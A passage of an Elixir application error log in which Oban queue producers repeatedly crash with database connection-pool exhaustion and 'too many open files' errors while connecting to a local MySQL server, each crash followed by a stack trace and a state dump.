  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:35:24.240023Z], limit: 10, uuid: "e65ca7dc-5753-4199-96fe-ff9d634cb578", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:24.240029Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203538>, refresh_timer: #Reference<0.2525715032.1099431938.64126>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:35:24.239990Z], limit: 5, uuid: "ca1212a1-e392-40db-83c9-59f2b71e8c26", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:24.239996Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203541>, refresh_timer: #Reference<0.2525715032.1077673987.45739>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:35:24.239517Z], limit: 20, uuid: "23d5368b-8de4-46d4-ac2b-a123200dbb40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:24.239526Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203542>, refresh_timer: #Reference<0.2525715032.1068498948.66085>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:35:24.239780Z], limit: 5, uuid: "6bb08780-8437-4ea6-a442-23968ea79fc9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:24.239786Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203539>, refresh_timer: #Reference<0.2525715032.1099431938.64107>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:36.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:35:24.240265Z], limit: 50, uuid: "5b6cc773-de52-4d08-9017-f08bd6ccbe28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:24.240269Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203591>, refresh_timer: #Reference<0.2525715032.1077673987.45751>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:35:24.240073Z], limit: 3, uuid: "30e6b072-4abd-4e7d-bb73-df4ed02ba2f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:24.240077Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203540>, refresh_timer: #Reference<0.2525715032.1099431938.64128>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:38.444000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:40.734000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:41.252000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:46.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:47.217000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:47.225000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:47.427000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:35:36.243169Z], limit: 3, uuid: "3c9d07bf-c1c7-404a-88f7-e10834b90217", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:36.243174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203995>, refresh_timer: #Reference<0.2525715032.1077673987.45870>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:35:36.238962Z], limit: 10, uuid: "78e68896-91de-4bd3-9918-d549fa12e812", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:36.238971Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203993>, refresh_timer: #Reference<0.2525715032.1121189889.203947>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:35:36.241220Z], limit: 50, uuid: "a4ad4560-b737-4542-8c34-54aaf6514efa", paused: false, refresh_interval: 30000, shutdown_started_at: 